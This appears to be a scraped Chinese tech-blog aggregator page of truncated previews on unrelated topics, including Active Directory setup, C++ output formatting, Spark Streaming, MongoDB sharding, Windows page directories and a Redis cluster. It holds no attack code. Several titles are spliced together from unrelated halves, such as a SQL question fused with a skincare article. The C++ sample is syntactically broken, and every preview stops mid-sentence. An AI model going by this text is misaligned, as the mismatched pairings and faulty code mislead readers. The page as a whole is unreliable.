1、在服务器管理器中添加角色&#xff0c;勾选Active Directory域服务、DNS服务器进行安装2、安装好后运行dcpromo进入域服务安装向导&#xff0c;选择高级模式安装3、出现部署配置时&#xff0c;勾选新林中新建4、在命名林输入域名称&#xff08;ganen5.local&#xff09;5、在…

漫步者蓝牙只有一边有声音_漫步者DreamPods半个月上手体验:谈谈那些好的和不好的地方...

随着手机逐渐取消了耳机孔&#xff0c;越来越多的人们开始使用上了蓝牙耳机。在当今这个飞速发展的时代&#xff0c;蓝牙耳机蓝无疑成为了新时代的宠儿。无论是上班族还是当代大学生等年轻化群体&#xff0c;蓝牙耳机无疑成为了一个不错的喜好选择。但是面对市面上如此多的蓝牙…

c++ 输出控制iomanip

2019独角兽企业重金招聘Python工程师标准>>> 1输出精度控制 #include<iostream> #include <iomanip>//精度控制相关头文件 using namespace std;int main(){streamsize preccout.precision(); //获取默认精度 cout<<"default precisi…

c++ 可视化界面_这些算法可视化网站助你轻松学算法

作者&#xff1a;守望&#xff0c;Linux应用开发者&#xff0c;目前在公众号【编程珠玑】 分享Linux/C/C/数据结构与算法/工具等原创技术文章和学习资源。前言无疑&#xff0c;数据结构与算法学习最大的难点之一就是如何在脑中形象化其抽象的逻辑步骤。而图像在很多时候能够大大…

2. with check option能起什么作用?_面部毛孔粗大,有什么拯救的方法吗?

很多妹子都有毛孔粗大的问题&#xff0c;却苦恼于怎么改善&#xff0c;用错方法可能会刺激毛孔&#xff0c;但是你知道毛孔粗大的原因吗&#xff1f;首先&#xff0c;先搞清楚自己是什么类型的毛孔粗大&#xff0c;再对症下药。 &#xfffc;皮脂分泌旺盛这是毛孔粗大最常见的原…

Apache Spark源码走读之4 -- DStream实时流数据处理

欢迎转载&#xff0c;转载请注明出处&#xff0c;徽沪一郎。 Spark Streaming能够对流数据进行近乎实时的速度进行数据处理。采用了不同于一般的流式数据处理模型&#xff0c;该模型使得Spark Streaming有非常高的处理速度&#xff0c;与storm相比拥有更高的吞能力。 本篇简要分…

antd-react-mobile(踩坑记录)

1.按照官网步骤进行&#xff0c; $ npm install -g create-react-app # 注意&#xff1a;工具会自动初始化一个脚手架并安装 React 项目的各种必要依赖&#xff0c;如果在过程中出现网络问题&#xff0c;请尝试配置代理或使用 其他 npm registry。 $ create-react-app my-app …

微软私有云分享(R2)22 计算机配置文件与基础设置

计算机配置文件是完全为了裸金属安装准备的。所以如果不准备使用裸金属安装&#xff0c;硬件配置文件在SCVMM2012 R2中也可以不用配置。本章操作完全用图来表示&#xff08;其实我准备文字了&#xff0c;但是貌似文字丢了…………&#xff09;&#xff0c;创建该文件没什么注意…

14.PTD与的基址

0xC0300000就是页目录的基址。 随便找一个软件测试下 通过0xC0300000找到的物理页就是页目录表这个物理页即是页目录表本身也是页表页目录表是一张特殊的页表,每一项PTE指向的不是普通的物理页,而是指向其他的页表.如果我们要访问第N个PDE, 那么有如下公式&#xff1a;0xc03000…

多项式回归

在上一节所介绍的非线性回归分析&#xff0c;首先要求我们对回归方程的函数模型做出推断。尽管在一些特定的情况下我们能够比較easy地做到这一点,可是在很多实际问题上经常会令我们不知所措。依据高等数学知识我们知道&#xff0c;不论什么曲线能够近似地用多项式表示&#xff…

二级c语言无纸化三合一_学习攻略|计算机二级考试重点及注意事项

2020年全国计算机等级考试将于9月26日强势来袭&#xff0c;亲爱的你们准备好了吗&#xff1f;下面为大家准备了一些干货以及考试注意事项&#xff0c;快拿出小本本记下来吧。考试题型二级office考试题型1、选择题 20分(含公共基础知识部分10分)2、操作题 80分 (1)Word文档 30…

mongodb集群与分片的配置说明

mongodb集群与分片的配置说明 Shardingcluster介绍&#xff1a; 这是一种可以水平扩展的模式&#xff0c;在数据量很大时特给力&#xff0c;实际大规模应用一般会采用这种架构去构建monodb系统。 系统分为需要三种角色&#xff1a; Shard Server:mongod 实例&#xff0c;用于存…

使用VS2005进行负载测试

下面通过一个简单的例子来讲解VS2005是如何做负载测试的.1、 编写一个加法程序&#xff0c;其中编写一个加法方法&#xff0c;然后调用该方法。//程序源代码using System;using System.Data;using System.Configuration;using System.Web;using System.Web.Security;using Syst…

NodeJS开发环境配置

为什么80%的码农都做不了架构师&#xff1f;>>> 上链接&#xff5e; http://www.cnblogs.com/Irving/p/3634232.html 转载于:https://my.oschina.net/weiyi/blog/287177

一个平行四边形可以分成四个_将平行四边形分割成两个三角形还易变形么?(人教四下五单元三角形例2)...

最近&#xff0c;我学了三角形一课&#xff0c;研究了三角形的特性。课上我们拿出准备好的拼搭的三角形和平行四边形&#xff0c;动手拉一拉&#xff0c;结果发现三角形拉不动、平行四边形一拉就变形了。原来动动手也是研究数学呀&#xff0c;太有意思了&#xff01;这时&#…

配置redis三主三从

主从环境 centos7.6 redis4.0.1 主从192.168.181.139:6379192.168.181.136:6379192.168.181.136:6380192.168.181.137:6380192.168.181.137:6381192.168.181.139:6381集群实例配置 这里展示192.168.181.139:6379节点的&#xff0c;其他配置修改ip、端口号和文件名 bind 192.168…